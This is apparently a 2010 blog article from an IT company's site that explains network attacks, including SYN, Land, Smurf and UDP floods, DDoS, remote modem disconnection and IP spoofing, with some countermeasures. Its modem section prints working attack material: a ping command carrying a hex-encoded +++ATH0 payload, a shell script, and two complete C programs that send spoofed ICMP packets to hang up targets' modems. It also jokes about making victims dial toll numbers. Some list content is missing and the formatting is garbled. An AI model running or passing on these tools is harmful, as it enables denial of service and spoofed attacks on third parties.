NetworkingWired network? Wireless network? Want to share files? Thinking about a server? US VORTECHS can connect all of your employees to share resources and increase productivity. |
Network Security - Attacked Sunday, 04 July 2010 13:16 |  Author: Shawn Levin |   
Under Attack!!!
Although almost every system connected to the Internet is bound to find almost all of its services and daemons to be under attack sometime or other. However, the following are some of the most common attacks, which every server is likely to face: <>1.2.3.4.5.The client system sends a SYN Packet (Synchronization Packet) to the remote host
The remote host replies with a SYN/ACK Packet (Synchronization/Acknowledgement Packet) to the client.
**************** HACKING TRUTH: What exactly are ACK and SYN Packets?
TCP/IP in its bid to ensure proper and safe transfer of data from the client to the host demands that both the source and destination must transmit and receive acknowledgement messages, that confirms the safe and proper transfer of data. These acknowledgement messages are known as ACK messages.
Let us take an example to understand ACK messages in a better manner. Say there are 2 systems A and B. Let us assume that A sends a packet (say X1) to B. Now, A will not send the second packet (i.e. X2) to B, unless and until it receives an acknowledgement (i.e. ACK X1) from B acknowledging the receipt of the first packet X1. Thus, we can say that A will not send the second packet unless and until B acknowledges the receipt of the first packet. Thus ensuring proper transfer of data from the source to the destination.
The destination will not send more requests for data unless it gets the ACK from Source confirming that the ACK X1was received by it. If the source does not get an ACK message from the destination, then something, which is called a timed-out, occurs and the source (A) will resend the data to destination (B).
An ACK message of 1000 would mean that all data up to 1000 octets has been received till now. There is also something known as NACK, but we would not be going into that in this manual.
A SYN Packet is nothing but a normal TCP packet with the Synchronize (SYN) flag switched on. A packet with the SYN flag switched on basically means that the sender of the SYN packet wants to establish a three- way TCP/IP connection with the destination system. *****************
To understand the three-way handshake better, let us follow the below depiction of the 3 steps-:
In the first step the client sends a SYN packet to the host, with whom it wants to establish a three-way connection. The SYN packet requests the remote system for a connection. It also contains the Initial Sequence Number or ISN of the client, which is needed by the host to put back the fragmented data in the correct sequence. Data sent over the Internet is broken down at the sender’s end and put back together at the receiver’s end, and it is in this process that ISN comes into play.
In the second step, the host replies to the client with a SYN/ACK packet. This packet acknowledges the SYN packet sent by the client and sends the client its own ISN.
In the last step the client acknowledges the SYN/ACK packet sent by the host by replying with an ACK packet.
These three steps together are known as the 3-way handshake and only when they are completed is a complete TCP/IP connection established between the source and the destination. After a complete handshake has taken place, the connection thus established is called a fully established connection.
The SYN Flood Attack
In a SYN attack, several SYN packets are sent to the server but all these SYN packets have a bad source IP Address. When the target system receives these SYN Packets with Bad IP Addresses, it tries to respond to each one of them with a SYN ACK packet. Now the target system waits for an ACK message to come from the bad IP address. However, as the bad IP does not actually exist, the target system never actually receives the ACK packet. It thus queues up all these requests until it receives an ACK message. The requests are not removed unless and until, the remote target system gets an ACK message. Hence these requests take up or occupy valuable resources of the target machine. As a result, due to such a large number of connection requests, the memory of the target system gets hogged up, thus it is unable to cater to requests for information made by legitimate users.
It is important to note that to actually affect the target system, a large number of SYN packets having bad IP addresses have to be sent. As these packets have a Bad Source IP, they queue up, use up resources and memory of the target system and eventually crash, hang or reboot the system.
In accordance with the rules of TCP/IP, after a certain time has passed, a ’timed out’ takes place and the connection requests queued up by the target system are discarded, thus a part of the hogged up memory gets freed up. However, in a typical SYN Flooding Attack, the attacker keeps on sending connection requests from spoofed addresses at a rate faster than a ‘timed out’ of the earlier connection requests can take place (A “Timed Out” forces the earlier connection requests to get discarded.) As a result, even though due to ‘timed out’ the queued up connection requests are being discarded, the memory of the target system does not get freed up, as the attacker is continuously sending more and more spoofed connection requests.
**************** HACKING TRUTH: SYN Packets in conjugation with the concept of half open connections are used for stealth port scanning or half open port scanning. For more details read the Port Scanning Unscanned section. ****************
When the target system has sent the SYN ACK packet to the client, who had tried to establish a connection, and it is waiting to receive an ACK from this particular client, then the existing connection is said to be a half open connection or the host is said to be in the state of SYN_RECEIVED. It is this state, that one can use to detect whether his system is under SYN floods are not. Simply type in the following Netstat command at the prompt: (The parameters passed and the results in this case would vary from system to system)
C:\windows>netstat -a
Active Connections
Proto Local Address Foreign Address State TCP ankit 201.xx.34.23 SYN_RECEIVED TCP ankit 201.xx.34.23 SYN_RECEIVED TCP ankit 201.xx.34.23 SYN_RECEIVED TCP ankit 201.xx.34.23 SYN_RECEIVEDTCP ankit 201.xx.34.23 SYN_RECEIVEDTCP ankit 201.xx.34.23 SYN_RECEIVED TCP ankit 201.xx.34.23 SYN_RECEIVED TCP ankit *:* ESTABLISHED
……….
If the above command, when executed on your system shows you a lot of connections in the SYN_RECEIVED state, then it probably means that your system is under a SYN Flood Attack. It is important to note that in the above output, there are indeed some connections in the state of ‘Established’. They basically are legitimate connections, which remain unaffected even after the SYN flood attack on the target system.
We now know the working of SYN Attacks and how to detect whether or not your system is under a SYN flood attack or not. Let us now learn the countermeasures, which can be taken against such attacks.
Countermeasures
There is no single countermeasure to protect your system against SYN Flood attacks. However, there are certain sets of steps, which can be followed to minimize the risk of damage caused by such attacks-:
SYN Flooding is also commonly used in the process of performing IP Spoofing. We would be discussing IP Spoofing in a later chapter. 4. Land Attacks
A Land attack is similar to a SYN attack, the only difference being that instead of a bad IP Address, the IP address of the target system itself is used. What this means is that in a Land Attack, the attacker sends SYN packets to a particular port of the target system with the source address and source port number of these SYN packets, being same as the destination IP Address and port number. This creates an infinite loop between the target system and the target system itself and hangs, crashes etc it.
Countermeasures
The easiest countermeasure to protect your system against Land attacks, is to install a firewall or a filtering utility, which filters out outgoing packets having the source address same as the address of the local system i.e. your system. Thus, our filtering rules should aim at preventing spoofing of source IP Addresses, where the source IP Address is same as that of the local host.
5.Smurf Attacks
A Smurf attack is a sort of Brute Force DOS Attack, in which a huge number of Ping Requests are sent to a system (normally the router) in the Target Network, using Spoofed IP Addresses from within the target network. As and when the router gets a PING message, it will route it or echo it back, in turn flooding the Network with Packets, and jamming the traffic. If there are a large number of nodes, hosts etc in the Network, then it can easily clog the entire network and prevent any use of the services provided by it.
Read more about the Smurf Attacks at CERT: http://www.cert.org/advisories/CA-98.01.smurf.html
6.UDP Flooding
This type of attack, most commonly exploits the chargen or echo services, creating an infinite loop between two UDP services.
CERT describes this denial of service attack as follows:
When a connection is established between two UDP services, each of which produces output, these two services can produce a very high number of packets that can lead to a denial of service on the machine(s) where the services are offered. Anyone with network connectivity can launch an attack; no account access is needed.
For example, by connecting a host's chargen service to the echo service on the same or another machine, all affected machines may be effectively taken out of service because of the excessively high number of packets produced. In addition, if two or more hosts are so connected, the intervening network may also become congested and deny service to all hosts whose traffic traverses that network.
This kind of flooding is done against two target systems and can be used to stop the services offered by any of the two systems. In a UDP Flood Attack, a connection is established between two UDP services, with each service producing a certain number of characters as output. Ultimately, so many characters are generated that a denial of service attack takes place. Such a scenario creates an infinite non-stopping loop between the two systems, making them useless for any data exchange or service provision.
Countermeasures
Distributed DOS Attacks
DOS attacks are not new; in fact they have been around for a long time. However there has been a recent wave of Distributed Denial of Services attacks which pose a great threat to Security and are on the verge of overtaking Viruses/Trojans to become the deadliest threat to Internet Security. Now you see, in almost all of the above TCP/IP vulnerabilities, which are being exploited by hackers, there is a huge chance of the target's system administrator or the authorities tracing the attacks and getting hold of the attacker.
Now what is commonly being done is, say a group of 5 Hackers join and decide to bring a Fortune 500 company's server down. Now each one of them breaks into a smaller less protected network and takes over it. So now they have 5 networks and supposing there are around 20 systems in each network, it gives these Hackers, around 100 systems in all to attack from. So they sitting on there home computer, connect to the hacked less protected Network, install a Denial of Service Tool on these hacked networks and using these hacked systems in the various networks launch Attacks on the actual Fortune 500 Company. This makes the hackers less easy to detect and helps them to do what they wanted to do without getting caught. As they have full control over the smaller less protected network they can easily remove all traces before the authorities get there.
Not even a single system connected to the Internet is safe from such DDOS attacks. All platforms Including Unix, Windows NT are vulnerable to such attacks. Even MacOS has not been spared, as some of them are being used to conduct such DDOS attacks.
DISCONNECTING MODEMS REMOTELY
A little more than a year ago, I was really addicted to IRC’ing and chatting using IRC clients and Chatting software. There was a time when I used to connect to the Internet just to IRC. This addiction fortunately did not last long and I soon learnt how to get myself to stay away from chatting etc. However during this time, I had some very interesting experiences and even learnt a lot.
In this guide, I will explain some of these ‘pretty interesting’ techniques, which besides being fun to perform will also surely teach you one or two new things. This section will answer a lot of your questions like: Controlling Modems Remotely. Sending Modems AT Commands remotely. How do I disconnect a person from the Internet, if I know his IP? How can I disconnect myself from the Internet? How do I control Modems Manually? How to protect your Modem from these ATH attacks? Etc
Before we move on to the interesting stuff, we need to first know as to what exactly makes controlling modems remotely possible or in other words, what is the core or what is the loophole (well, not exactly a loophole.), which makes all modems connected to the Internet Vulnerable.
To understand this, we need to know as to how data packets travel through the Internet or through a Local Area Network or LAN. Let us assume, that your IP Address is xx.xx.xx.xx and the server you are connecting to has the IP: yy.yy.yy.yy. Let us assume that we run a C program which creates a single data packet and sends it to yy.yy.yy.yy, then the packet, would take the following path to reach its destination.
C Program at Source ---------------àRouter -----------------à Daemon at Destination’s Port(xx.xx.xx.xx) (yy.yy.yy.yy)
However, the above is a simple description of the entire process. If we describe the above, in a more detailed manner, then it would be:
C Program at source -----à Modem of Source ---à Router -----à Modem of Destination ------à Destination Daemon
Thus, we can say that each packet goes through the modem at both the source and destination. Thus the thing to remember here is that all data go through the modems and this data could also be modem commands.
A system talks to or controls a modem by issuing Modem commands, which are generally referred to as AT commands. This was a pretty vague and incomplete description of what modem commands are. To fully understand them, read the following paragraphs.
Hayes, a long time ago, set down a standard for modem commands, which started to be followed by a lot of Modem Manufacturers and modems following this standard were called ‘Hayes Compatible’. This complete set of Modem Commands, which follows the Hayes Standard, is called the AT Command set. Here AT stands for Attention. It basically tends to say to the Modem, ‘OK, Mr. Modem, you better pay attention as I have some commands for you to execute”. The ‘AT’ precedes all Modem commands with a few exceptions, which we will discuss later.
**********************
ATDT or ATDP command followed by the number you want to dial and enter.
Let us now analyze various parts of the above command. The ‘AT’ tells the modem to pay attention. The second part tells the modem as to what kind of dialing system to use. For Example, DT tells it to use ‘dial by tone’, while DP tells it to use ‘pulse dial’. And the last part is the number you want to dial.
NOTE:To issue commands to your modem, you need to be in Command mode of your communication package. *********************
Your modem accepts commands only when it is in the command mode. A modem is always either in the command mode, or the on-line mode. When you boot up, your modem is by default in command mode. . Thus, when your modem is in command mode, then all AT commands are considered to be commands, while in online mode, all commands are considered to be as data packets.
The above paragraph tells us that when we connect to the Internet, then our modem is in the online mode and thus cannot accept any commands. This means that even if you know the IP Address of a person and send them a modem command string, then the modem will only treat it as normal data and will not react to it. (As it is in online mode.) Thus, for the modem to start accepting and start reacting to AT commands, it has to be switched to the command mode. This is where the escape sequence comes in.
When the modem is in the online mode, then it can be brought to the command mode by sending it the escape characters i.e. +++. Passing the escape characters will switch the modem to the command mode and it will start reacting to AT commands. On giving the escape character, the actual AT command need not have the string ‘AT’ and it need not end with ‘enter’.
************************ HACKING TRUTH: The modem can be returned to the on-line state after the escape sequence has been issued. To return the modem to the on-line state, you have to give the ATO command. ************************
This means, that if you know the IP Address of someone, then if you send the +++ string to it followed by the AT Modem command, then you could practically control it remotely. You could disconnect the modem, change the Dial type, force it to dial a particular number etc.
Let me take an example to make it clearer. H0 is the AT command, which instructs the modem to disconnect or hang-up. Normally, if you want to disconnect your own modem or a local modem, then you would issue the following command:
+++ATH0
This basically switches your modem from the online mode to the command mode, and then sends it the H0 command, which is the disconnect command and thus disconnects the modem.
This same command, if sent to a remote system, will disconnect it from the network too!!!
Before we move onto as to how one can implement the ATH string attack in C, let us see as how to do the same using the popular network diagnosing tool, ping.
The following command, works on most systems, but from the arguments, I believe it will not work on Win 9x machines.
ping -c 5 -p 2b2b2b415453323d32353526574f310d ip
For explanation of the above ping command, I suggest you read the man pages of your *nix box:
The following shell script too would do the same for you:
#!/bin/sh ping -p 2b2b2b415448300d $*
NOTE:This exploit or the ATH0 attacks do not work on all modems. It is not true that all old modems are vulnerable or all new modems are safe, it basically depends on brand to brand. For more details about how to protect your modem from such attacks, read the countermeasures
The following is a C program, from Packet Storm, which spoofs ICMP packets and perform the same attack: _____________________________________
The way the exploit works is it hides escape/control sequences in an ICMP echo request packet (it contains the string +++ATH0) the +++ sends the modem into escape mode (and if the guard time on the modem is set ridiculously low) it will go into command mode and you can issue it an ATH0 to hang up. It works on the reply, because it receives the echo request packet, then duplicates the packet with a new timestamp and checksum, destination/source hosts and returns it to the sender, when it returns it the string is sent to the modem, and thus hanging it up. There are a few conditions that must be met for it to work (if you don’t want to be vulnerable to this, fix these!)
1) The Target computer must not filter ICMP echo request and must know how to reply to one if it gets one
2) The Target computer must be using a modem (you can't hang-up DS3s, although I suppose you could hang-up Telco return connections. if you can find one)
3) The target computer must have a vulnerable modem (i.e. guard time is set ridiculously low)
4) You have to be able to send spoofed packets (If you can't, then you can use your own address, but then the target knows where it came from)
In my experimenting, I have also devised various fun ways to use this program other than just nuking your buddy off IRC. In theory, it is possible to modify the program to do fun stuff like make the target call some number after it hangs up (i.e. +++ATH0, DT5551212) should make the modem hang-up, pause for 6 seconds then call 5551212. This is fun for obvious reasons. Then the next variation I came up with is a Smurf like implementation in which you could make a script to DOS a class C subnet, with the number of your least favorite company, since most company's have 800 numbers, not only does this cause chaos to the phone bank, but also costs ~$.30 per call...but I don't condone any of those ideas of course, this is just for experimental/educational purposes only, if you fix your modems, none of this is possible, so get off your ass and fix it.
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---
/* * gin.c * This e-mail address is being protected from spambots. You need JavaScript enabled to view it #include <stdio.h> #include <signal.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/time.h>
#define VERSION "1.2-05.05" //fixed old compiler compatibility problems #define FRIEND "foo"
void usage( char *name ); void banner( void ); char *get_progname( char *fullname ); void done( int foo ); void gin( int port, struct sockaddr_in sin, struct sockaddr_in din ); unsigned short in_chksum( u_short *ipbuf, int iplen );
int main( int argc, char **argv ) { struct hostent *sourceinfo, *destinfo; struct sockaddr_in sin, din; int sockfd, numpackets, i; char *target, *source;
banner();
( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;
source = argv[1]; target = argv[2]; numpackets = ( atoi( argv[3] ) );
signal( SIGINT, done );
if( ( sourceinfo = gethostbyname( source ) ) == NULL ) { printf( "cannot resolve source host!\n" ); exit( -1 ); } memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr, sourceinfo->h_length ); sin.sin_family = AF_INET;
if( ( destinfo = gethostbyname( target ) ) == NULL ) { printf( "cannot resolve destination host!\n" ); exit( -1 ); } memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr, destinfo->h_length ); din.sin_family = AF_INET;
if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 ) { printf( "Cannot get raw socket, you must be root!\n" ); exit( -1 ); }
printf( "Source Host\t\t: %s\n", inet_ntoa( sin.sin_addr ) ); printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) ); printf( "Number\t\t\t: %d\n", numpackets );
printf( "Have some gin sucka" );
for( i = 0; i < numpackets; i++ ) gin( sockfd, sin, din );
printf( "\n\nsent %d packet%c...done\n", numpackets, ( numpackets > 1 ) ? 's' : ( char )NULL ); return 0; }
void usage( char *name ) { printf( "usage: %s <source host> <dest host> <num packets>\n[ http://www.rootshell.com/ ] \n\n", name ); exit( 0 ); }
void banner( void ) { printf( "\ngin [ v%s ] /\\ by amputee\n", VERSION ); printf( "compiled for: %s\n\n", FRIEND ); }
char *get_progname( char *fullname ) { char *retval = strrchr( fullname, '/' );
return retval ? ++retval : fullname; }
void done( int foo ) { puts( "Exiting...\n" ); exit( 1 ); }
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din ) { char *ginstring = "+++ATH0\r+++ATH0\r+++ATH0\r+++ATH0\r"; char *packet; int total; struct iphdr *ip; struct icmphdr *icmp; size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr ); size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct timeval ); int len = strlen( ginstring );
packet = ( char * )malloc( iphlen + icplen + len );
ip = ( struct iphdr * )packet; icmp = ( struct icmphdr * )( packet + iphlen );
( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen )], ( struct timezone * )NULL ); memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 ) );
ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen ); ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = din.sin_addr.s_addr; ip->check = in_chksum( ( u_short * )ip, iphlen );
icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 ) ) );
total = ( iphlen + icplen + timlen + len + 16 );
sendto( port, packet, total, 0, ( struct sockaddr * )&din, sizeof( struct sockaddr ) );
free( packet ); }
// stolen from smurf unsigned short in_chksum( u_short *ipbuf, int iplen ) { register int nleft = iplen; register int sum = 0; u_short answer = 0;
while( nleft > 1 ) { sum += *ipbuf++; nleft -= 2; }
if( nleft == 1 ) { *( u_char * )( &answer ) = *( u_char * )ipbuf; sum += answer; }
sum = ( sum >> 16 ) + ( sum + 0xffff ); sum += ( sum >> 16 ); answer = ~sum;
return( answer ); }
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---
Also note: some machines seg fault when they run this, and setting the environment variable MALLOC_CHECK_ to 1 seems to solve this. And..this code will probably come out all offset and break when you try to compile it...so just fix it, it compiles fine (i use g++ -O3 -o gin gin.c). __________________________________________
Yet, another program, (a better one) from their Archive:
/* Hi, this is basically a small C program to quickly use the +++AZH0 modem bug on a given target. This thing is handy because you do not have to go through the trouble of typing the ping string, and it spoofs, which is also quite handy :)
Anyway, use this to disconnect most modems on ANY OS on the Internet by sending an ICMP_ECHO_REQUEST with the contents of +++AZH0. The modem gets it and (since it's an ICMP ECHO) sends the same packet back and resets. It can be patched by setting the modem register S2 to such a value that turns the command mode of the modem off (255 will do). The modem will NOT execute the commands in the packets anymore and function stable. NOTE: Before you actually USE this program, turn your OWN command mode of Else, your modem will RESET upon trying to send the packets away. Put the statement S2=255 somewhere in your modem CALL STRING. It should look something like this: OK ATB0&C1&D2S2=255DT<Phone No.>At least, it does so on my modem. Note that some modems will get into trouble with the command mode turned off. If this is the case, tough, you CANNOT use this program AND you ARE VULNERABLE to this attack.
Have fun, Scrippie
If you think this program is truly cool (which is not true) mail at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it
If you sincerely wish to flame me, mail me at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it . This mail address is forwarded to someone I really dislike.
The way to patch a modem has been added thanks to Ardrian Gonzales. Some modems may disconnect when trying to use the patch.
*/ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h>
#define BUFFER 80 #define RESET "+++ATH0\x0d" #define PATCH "+++ATH0H1TD112\x0d"
int resolve(const char *name, unsigned int port, struct sockaddr_in *addr); unsigned short in_cksum(u_short *addr, int len); int killmodem(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr, unsigned int type) { unsigned char *packet; struct iphdr *ip; struct icmphdr *icmp; char *blah; int rc; int c; int b=0;
switch(type) { case (0): { blah = RESET; break; } case (1): { blah = PATCH; break; } default: blah = RESET; }
packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
for(c=0;c<(sizeof(struct iphdr)+ sizeof(struct icmphdr) + BUFFER);c++) { if(b==strlen(blah)) b=0; packet[c]=blah[b]; b++; }
/* This is the IP header of our packet. */ ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->id = htons(43210); ip->frag_off = htons(0); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER); ip->ttl = 25; ip->protocol = IPPROTO_ICMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = 0; icmp->checksum = in_cksum((u_short *)icmp,sizeof(struct icmphdr) + BUFFER);
if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet); return(0);
} int main(int argc, char **argv) { struct sockaddr_in dest_addr; unsigned int i,sock,type; unsigned long src_addr;
if(geteuid()!=0) { fprintf(stderr, "You must be ROOT in order to run this!\n"); return(-1); } printf("Modem Killer - Version 1.0b - Spoofable\n"); printf("By Scrippie\n"); if ((argc != 5)) {
printf("Use the following format:\n"); printf("%s <Spoof IP> <Target IP> <Number> <Type>\n", argv[0]); printf("Where type means the type of the modem crash.\n"); printf("---------------------------------------------\n"); printf("Type 0: Makes the modem hangup\n"); printf("Type 1: Patches a modem against attacks\n"); printf("---------------------------------------------\n"); printf("Greetz, Scrippie\n");
return(-1); } switch(atoi(argv[4])) { case (0): { type = 0; break; } case (1): { type = 1; break; } default:{ printf("WRONG type you idiot!\n"); return(-1); } }
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr,"No RAW sockets available...\n"); return(-1); }
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } src_addr = dest_addr.sin_addr.s_addr; if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
printf("Now sending the modem kill...\n"); for (i = 0;i < atoi(argv[3]);i++) { if (killmodem(sock, src_addr, &dest_addr, type) == -1) { fprintf(stderr,"Cannot send packet...\n"); return(-1); } usleep(10000); } } /*****************************************************************************\ *** Of course, no one has EVER seen this piece of networking code before... *** \*****************************************************************************/ int resolve(const char *name, unsigned int port, struct sockaddr_in *addr) {
struct hostent *host; memset(addr,0,sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) { if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"Unable to resolve host %s\n",name); return(-1); } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); }
addr->sin_port = htons(port); return(0);
} unsigned short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0;
/* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; }
/* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } ------------------
Countermeasures
Protection from these attacks is quite simple. But, I do suggest that before you read this section, you should try the above attacks on yourself, and see whether you are vulnerable or not. In order to protect your modem from ATH0 attacks, or in other words to prevent it from switching from online mode to command line mode, all you have to do is: Set your init string value to: S2=255.
*******************
Go to, the following registry key and change the Settings to the Value you want it to be.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Init
Simply Click on: Start > Settings > Control Panel. Then right click on Modems Choose Properties > Configure > Connection > Advanced. Then enter the string in the specified area. *******************
This will make your modem safe from this kind of attack, as it will treat AT commands as data, due to the fact that it will remain in online mode and not switch to command mode. However, some very obsolete modems tend to remain unaffected from the above protection method and thus remain vulnerable. Also, I have heard that there are some Anti-Nuke protection programs, which provide your system protection from ATH0 attacks. Try: www.anticode.com
And for complete information and documentation on Hayes Compatible AT commands, visit the following sites: www.modem.com and www.modemhelp.com
IP Spoofing: A Mammoth Description
IP spoofing is the most exciting topic you will hear wannabe hackers talking about. It is also a subject about which no one knows much. Before we continue I would like to tell you that IP Spoofing is quite difficult to understand and a lot of people have trouble understanding how it is done. The other downside it has is the fact that it can almost not be done using a Windows system and a system administrator can easily protect his system from IP spoofing
IP Spoofing is a trick played on servers to fool the target computer into thinking that it is receiving data from a source other than you. This in turn basically means to send data to a remote host so that it believes that the data is coming from a computer whose IP address is something other than yours. Let's take an example to make it clear:
Let your IP Address be: 203.45.98.01 (REAL) Let the IP Address of the Victim computer be: 202.14.12.1 (VICTIM) Let the IP Address of the system you want data to be sent from: 173.23.45.89 (FAKE)
Normally sitting on the computer whose IP is REAL, the datagrams you send to VICTIM will appear to have come from REAL. Now consider a situation in which you want to send data packets to VICTIM and make him believe that they came from a computer whose IP is FAKE i.e.173.23.45.89. This is when you perform IP Spoofing.
IP Spoofing thus, can be said to be the process by which you change or rather spoof your IP Address, so as to fool the target system into believing that your identity is not the one, which is actually yours, but make it believe that you actually are the computer having the spoofed address. Let us take a real life example to understand better. Say there are 3 people, A, B and C. You are person B and you wish to fool person A over the phone, into believing that you are person C, when actually you are person B. In order to do so, you might disguise your voice and make it sound more like that of person C, so that person A, might get fooled into believing that he is actually communicating with person C. If you now, replace the three persons in the above example, with a computer and change the term ‘voice’ to ‘IP Address’ then you would know what we actually mean by IP Spoofing.
Problems faced while performing IP Spoofing
One of the reasons as to why IP Spoofing is considered so much tough to perform is the fact that it is blind attack. What we mean by a blind attack is that, we do not get any messages or any feedback regarding our progress. When an attacker is trying to perform IP Spoofing, then, there is no mechanism which tells him, whether he has been successful or not, if yes then by what extent or if no then what when wrong. Thus, he is literally performing the attack blindly, assuming that things went right. Taking the assumptions made earlier, we can explain this problem in the following manner:
The main problem with IP Spoofing is that even if you (REAL) are able to send a spoofed datagram to the remote host (VICTIM), making it believe that the datagram came from FAKE, then the remote host (VICTIM) will reply to the spoofed IP Address (FAKE) and not your real IP Address (REAL), thus, as a result, REAL does not get any feedback whatsoever, regarding his progress. The following is the explanation of the blind nature of IP Spoofing, using the concept of the three-way handshake, which has to take place, each time a TCP/IP connection is established.
If REAL wants to establish a TCP/IP connection with VICTIM, without spoofing of any IP Address, then typically the three way handshake would take place as follows:
However, if REAL wants to spoof his IP Address and make it appear to be FAKE, then the following will take place:
If and only if all the above three steps go as planned, can a TCP/IP connection be established between VICTIM and FAKE, by REAL.
However, the third step gives rise to another problem. In the second step in the IP Spoofing handshake we see that VICTIM sends a SYN/ACK packet to FAKE. This gives rise to two scenarios:
1. Let us assume that a system with the IP Address FAKE does indeed exist, then, FAKE would actually receive the SYN/ACK packet, which VICTIM sends to it. However, since FAKE did not request a connection, it would not have any idea whatsoever, as to what this packet is meant for and thus it would reply, by sending a NACK (Non-Acknowledgement) message to VICTIM.
*************** HACKING TRUTH:A NACK or a Non-Acknowledgement message is meant for ending the connection, resulting in no further communication between the two systems involved. ***************
Thus, VICTIM on receiving this NACK message from FAKE would terminate the connection, which REAL is trying to establish between VICTIM and FAKE (without their knowledge). Thus, REAL’s attempt to spoof his IP Address would get foiled.
IP Spoofing can be successful only if the computer with the FAKE IP does not reply to the victim and not interrupt the spoofed connection. Take the example of a telephone conversation; you (B) can call up a person ' A ' and pretend to be ' C ' as long as ' C ' does not interrupt the conversation and give the game away.
2. Let us assume that a system with the IP Address FAKE does not exist, then, VICTIM will not receive any ACK message from FAKE for the SYN/ACK that it sent to it. Thus, a ‘timed out’ would take place and VICTIM would end the connection with FAKE, thus foiling REAL’s attempt to spoof his IP Address.
Thus, the above explanation brings us to the following conclusions:
Before we actually move onto a step-by-step guide to using IP Spoofing to exploit trust relationships, we need to understand certain concepts involved in IP Spoofing. Networking Basics involved in IP Spoofing
Sequence Numbers are the reason why the destination system is able to put back the smaller chunks of data that it receives from the source system, into a larger chunk. All data being transferred on the net is broken down into smaller packets at the source and joined together at the destination. The data is broken down into packets in a particular sequence at the source. This means that, for example, the first byte has the first sequence number and the second byte the second sequence number and so on. Packets are free to travel independently on the net, thus sometimes, when the data packets reach the destination they arrive out of sequence. This means that sometimes the packet of data having the sequence number 4 arrives before the data packet having a sequence number of 3.
The sequence numbers of the packets help the destination system to put back the data packets received, in the correct order. The application or the layer running at the destination automatically builds up the large chunks of data by reassembling the smaller chunks in the correct order, with the help of sequence numbers.
Sequence numbers not only help in the reassembly of packets at the destination system, but also ensure that TCP remains a reliable protocol, which can deal with lost, duplicated and unordered packets.
The following is a typical TCP Header of a data packet being sent by the host to the client:
----------------------------------------------------------------- | Source Port | Destination Port | ----------------------------------------------------------------- | Sequence Number | ----------------------------------------------------------------- | Acknowledgment Number | ----------------------------------------------------------------- | Data | |U|A|P|R|S|F| | | Offset | Reserved |R |C|S|S|Y|I | Window | | | |G|K|H|T|N|N| | ----------------------------------------------------------------- | Checksum | Urgent Pointer | ----------------------------------------------------------------- | The Actual Data follows | | |
NOTE:In the following paragraphs we assume that the fields and values being talked about belong to a packet being sent by a host to a client.
The Sequence number field in the TCP header contains the sequence number of the data packet being carried currently. Each packet being sent across the Internet is sequenced. There are certain things about sequence numbers, which one must be well conversed with. They are all discussed in the succeeding paragraphs.
A sequence number is a 32-bit number and it can range from 1 to 4,294,967,295. How does a host decide as to what sequence number, should be assigned to a particular connection? This question introduces us to yet another new term i.e. The Initial Sequence Number or ISN.
